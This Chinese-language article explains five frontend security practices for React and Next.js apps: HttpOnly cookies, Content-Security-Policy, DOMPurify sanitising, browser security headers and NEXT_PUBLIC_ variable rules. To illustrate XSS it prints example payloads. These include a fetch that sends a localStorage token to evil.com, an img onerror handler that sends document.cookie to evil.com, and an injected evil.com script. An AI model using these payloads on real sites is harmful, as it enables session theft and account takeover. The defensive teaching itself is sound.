首页 / 文章

每个 React 和 Next.js 应用都需要的五项前端安全防护措施

为什么 React 和 Next.js 应用会使用 HttpOnly Cookie、CSP、DOMPurify、安全头以及 NEXT_PUBLIC_ 规则,以及它们各自能防范哪些攻击。

发布者:REACTAPP.TOP阅读约 8 分钟1873 词

来源: 5 Security Practices Senior Frontend Engineers Use in React/Next.js Apps (But Most Developers Ignore)

人们很容易将安全性视为后端的工作,但实际上从会话被盗到 API 密钥泄露的诸多严重漏洞,往往都起源于客户端代码。生产环境中的 React 和 Next.js 项目代码中存在一些乍看之下似乎没有必要的配置:HttpOnly Cookie、next.config.js 中的特殊头部信息、DOMPurify 工具、NEXT_PUBLIC_ 前缀的变量以及内容安全策略。本指南将介绍其中最重要的五种配置,说明它们各自能防范的攻击类型,以及正确使用时的注意事项。

令牌的存储方式可能是前端开发中最具影响力的安全决策。常见的做法是将令牌保存在 localStorage 中:

localStorage.setItem("token", token);

然后手动在每个请求中附加该令牌:

fetch("/profile", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

虽然这种方法可行,但会让页面上运行的任何脚本都能读取到该令牌。

XSS如何演变为账户接管

跨站脚本攻击(XSS)指的是攻击者在您的网站上运行自己的JavaScript代码。典型的入侵途径是渲染不可信的HTML内容,比如用户评论:

<div dangerouslySetInnerHTML={{ __html: comment }} />

如果攻击者能够使脚本运行,读取令牌只需一行代码:

<script>
fetch("evil.com?token=" + localStorage.getItem("token"))
</script>

严格来说,通过innerHTML(即dangerouslySetInnerHTML所使用的方式)插入的script标签并不会被执行;真正的攻击会使用第3节中提到的那种事件处理程序载荷。无论哪种情况,一旦脚本开始运行,localStorage就会完全暴露。

只要拥有令牌,就可以无需密码登录,进而访问账户、冒充用户、执行交易或使用管理员功能。

让浏览器负责会话管理

标准的解决方案是让服务器将会话信息存储在脚本无法访问的Cookie中:

Set-Cookie:
accessToken=abc123;
HttpOnly;
Secure;
SameSite=Strict

每个属性都有特定的作用:

  • HttpOnly可隐藏Cookie,使其不被JavaScript读取:如下所示,通过脚本尝试读取该Cookie将无法获取到内容。
  • Secure可将Cookie的使用限制在HTTPS协议下。
  • SameSite=Strict可防止浏览器在来自其他网站的请求中发送该Cookie,这是防范跨站请求伪造(CSRF)的有效措施。Strict模式还会在用户通过其他网站链接进入时删除该Cookie,因此许多应用选择使用Lax模式。
document.cookie

这种变化体现了权限归属的转变。此前是由前端控制令牌:

Frontend controls token

之后则由浏览器负责管理:

Browser controls token

您的代码在每次调用时不再会生成这样的标题:

Authorization: Bearer token

因为浏览器会自动添加 Cookie。凭证永远不会通过应用程序代码传递。关于服务器端的内容,请参阅我们关于 Node.js 中 sessions 与 JWT 的对比 的文章。

2. 使用内容安全策略阻止注入脚本运行

一个常被忽视的防护措施就是名为

Content-Security-Policy

的标题,Next.js 项目通常会在其中进行配置

next.config.js

为何仅靠 HttpOnly Cookie 不够

假设攻击者成功注入了外部脚本:

<script src="https://evil.com/hack.js"></script>

默认情况下浏览器会执行该脚本。攻击者虽然无法读取 Cookie,但也没这个必要:因为脚本是在您的域名范围内运行的,所以它的请求会自动携带用户的 Cookie:

fetch("/send-money", {
  method: "POST",
  body: JSON.stringify({
    amount: 50000,
    to: "hacker",
  }),
});

后端检测到已通过身份验证的请求后会处理数据传输。同样的漏洞还可用于其他攻击:

  • 伪造登录提示。该脚本会显示类似下文的官方样式对话框,用户输入的任何内容都会传给攻击者。
  • 强制重定向。用户会被悄悄引导至模仿您网站的钓鱼网站。
"Session expired. Enter password again."

可执行代码的白名单

CSP用于告知浏览器允许其运行哪些来源的脚本。最简单的策略如下:

Content-Security-Policy:
script-src 'self'

'self'表示仅允许来自您自身域名的脚本运行。当页面遇到来自其他域名的脚本时,比如下例所示,浏览器会拒绝执行它:

<script src="evil.com/hack.js"></script>

在 Next.js 中,你可以通过配置中的 headers() 为每个路由设置响应头:

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "Content-Security-Policy",
            value: "script-src 'self';",
          },
        ],
      },
    ];
  },
};

将其视为一个起点。仅使用 script-src 'self' 也会阻止内联脚本的执行,而 Next.js 正是使用内联脚本进行页面初始化的,因此严格的策略通常需要随机数令牌(可查阅当前 Next.js 文档了解中间件实现方式)。建议先通过 Content-Security-Policy-Report-Only 测试新的策略。

两层防护,各司其职

HttpOnly Cookie 能限制 XSS 造成的损害;CSP 则试图完全阻止脚本运行。真正的防护来自于两者的结合使用。

3. 在使用 dangerouslySetInnerHTML 之前对 HTML 进行净化

React 仅在默认渲染路径上防止 XSS,该路径会自动对插值文本进行转义:

<p>{content}</p>

因此,如果 API 返回这样的字符串,React 会将其作为普通文本显示,而不会执行它:

<script>alert("hacked")</script>

解决方法是

dangerouslySetInnerHTML

React 故意在其名称中加入了

dangerously

这个字。

当你确实需要原始 HTML 时

博客、CMS 页面、Markdown 输出以及富文本编辑器都需要渲染 HTML。假设后端返回的内容如下:

<h1>Frontend Security</h1>
<p>Learn React Security</p>

通过常规插值方式渲染时:

<p>{content}</p>

标签会以原始文本形式显示。而使用解决方法后则能生成格式正确的内容:

<div dangerouslySetInnerHTML={{
  __html: content
}} />

看起来正常,但它也是一个注入点。

真正会被执行的载荷

攻击者会提交如下格式的标记:

<img src="x"
onerror="
fetch(
'evil.com?data=' + document.cookie
)"
/>

图像源被故意设置为无效状态,导致加载失败,此时onerror处理程序会执行攻击者提供的JavaScript代码。

使用DOMPurify进行净化

常见的解决办法是在渲染之前对内容进行净化处理。首先安装该库:

npm install dompurify

导入该库:

import DOMPurify from "dompurify";

然后在将内容传递给React之前对其进行净化处理(在实际代码中,sanitize调用和return语句应分别写在不同行上):

const safeHTML =
DOMPurify.sanitize(content);return (
  <div
    dangerouslySetInnerHTML={{
      __html: safeHTML,
    }}
  />
);

DOMPurify能够移除诸如script元素、像onerror和onclick这样的内联事件处理程序、链接中的javascript:格式URL以及注入的iframe等危险内容,仅保留安全的标记。由于服务器端没有浏览器DOM,因此服务端渲染的代码需要借助jsdom之类的DOM实现,或在编写时进行净化处理。

不可信任的来源包括你自己的后端

永远不要轻信任何输入数据,即便是来自你自己的 API;那些数据通常源自更不可靠的来源:

  • 最终用户
  • 管理面板
  • CMS 编辑器
  • 第三方 API
  • 富文本编辑器

4. 能填补安全漏洞的浏览器安全头信息

许多生产环境配置中都设置了三组容易被忽视的头部信息:

X-Frame-Options
Strict-Transport-Security
X-Content-Type-Options

每组都能防范不同的攻击。

X-Frame-Options:防止点击劫持

攻击者会在自己的域名上创建一个页面:

evil.com

然后在其中嵌入一个不可见的 iframe 来显示你的网站。用户以为自己点击的是

Claim Prize

但实际上点击动作落在了下面的真实按钮上:

Transfer ₹50,000

这就是点击劫持。解决办法就是禁止页面被嵌入框架:

X-Frame-Options: DENY

此时浏览器会拒绝嵌入你的页面。现代CSP中的对应设置是frame-ancestors 'none';同时使用这两项设置可兼容旧版浏览器。

通过Strict-Transport-Security强制使用HTTPS

在公共Wi-Fi等不可信网络环境中,普通的HTTP流量可能被截获,从而导致密码、会话数据、一次性验证码及其他隐私信息泄露。HSTS指令要求浏览器仅使用HTTPS:

Strict-Transport-Security:
max-age=31536000

一旦浏览器收到此头部信息,即使是手动输入的地址如

http://example.com

也会自动升级为

https://example.com

在任何请求离开设备之前。max-age的值为1年。浏览器仅能通过HTTPS学习该规则,因此首次访问时除非域名已被预加载,否则不会受到保护。

X-Content-Type-Options防止MIME类型嗅探

历史上,浏览器会尝试猜测文件的真实类型。如果服务器声明了

Content-Type: image/jpeg

但文件实际包含脚本代码,那么通过嗅探机制工作的浏览器可能会将其视为可执行文件。要禁用这种行为,可以使用一个响应头:

X-Content-Type-Options:
nosniff

该响应头会指示浏览器信任所声明的Content-Type,不再进行猜测。

在 Next.js 中设置这三个响应头

const nextConfig = {
  async headers() {
    return [
      {
        source: "/(.*)",
        headers: [
          {
            key: "X-Frame-Options",
            value: "DENY",
          },
          {
            key:
              "Strict-Transport-Security",
            value:
              "max-age=31536000",
          },
          {
            key:
              "X-Content-Type-Options",
            value: "nosniff",
          },
        ],
      },
    ];
  },
};

这些响应头几乎不会带来任何成本,却能杜绝整类攻击。

5. 将服务器密钥与浏览器可访问的环境变量分开

将.env文件排除在 Git 版本控制之外并不能确保密钥的安全。真正重要的是最终会进入 JavaScript 打包文件的内容。

密钥是如何进入打包文件的

以这样一个变量为例:

SECRET_KEY=abc123

它会被客户端代码引用:

console.log(
 process.env.SECRET_KEY
);

当打包工具在构建时将环境变量内联到代码中时,生成的代码会包含这些变量的实际值:

console.log("abc123");

任何人都可以通过开发者工具读取这些值。Next.js已针对意外情况做了防护:没有添加NEXT_PUBLIC_前缀的变量不会被内联到浏览器代码中,因此在浏览器中会被视为undefined。只有当敏感信息被加上公共前缀以掩盖错误,或服务器组件将其作为属性传递给客户端组件时,才会发生信息泄露。

NEXT_PUBLIC_规范

只有名称以

NEXT_PUBLIC_

开头的变量才会被嵌入到浏览器构建版本中。像这样的值是可以公开暴露的:

NEXT_PUBLIC_API_URL=
https://api.com

并且在客户端代码中可以这样读取:

process.env
.NEXT_PUBLIC_API_URL

因为API地址本身就是公开的。

绝不能公开的内容

这些内容只能存在于服务器端:

JWT_SECRET
DATABASE_URL
AWS_SECRET
STRIPE_SECRET_KEY
PRIVATE_KEYS

典型的生产环境配置

该仓库中没有.env文件,因为该文件已被列入.gitignore中:

.env

实际值会在构建或部署时由CI/CD系统或托管平台注入。只有NEXT_PUBLIC_开头的值会进入浏览器打包文件,其余内容均保留在服务器上。

需记住的规则是:如果浏览器能够访问某个值,那么它就是公开的。实际上没有所谓的“前端机密”。

核心要点

前端安全旨在逐步缩小攻击面,增加被利用的难度。

  1. HttpOnly Cookie可防止注入的脚本获取会话令牌。
  2. 内容安全策略能阻止未经授权的脚本运行,但与Next.js内的联机脚本共存时需要使用随机数。
  • DOMPurify 能让 dangerouslySetInnerHTML 在处理非用户编写的内容时更加安全。
  • 安全头信息 几乎无需额外努力即可防止点击劫持、协议降级以及 MIME 类型探测攻击。
  • NEXT_PUBLIC_ 前缀限制 决定了哪些内容会被发送到浏览器,因此应将此前缀视为发布决策的一部分。
  • 了解每种防护机制能阻止哪些攻击,有助于你正确配置它们,并及时发现缺失的防护措施。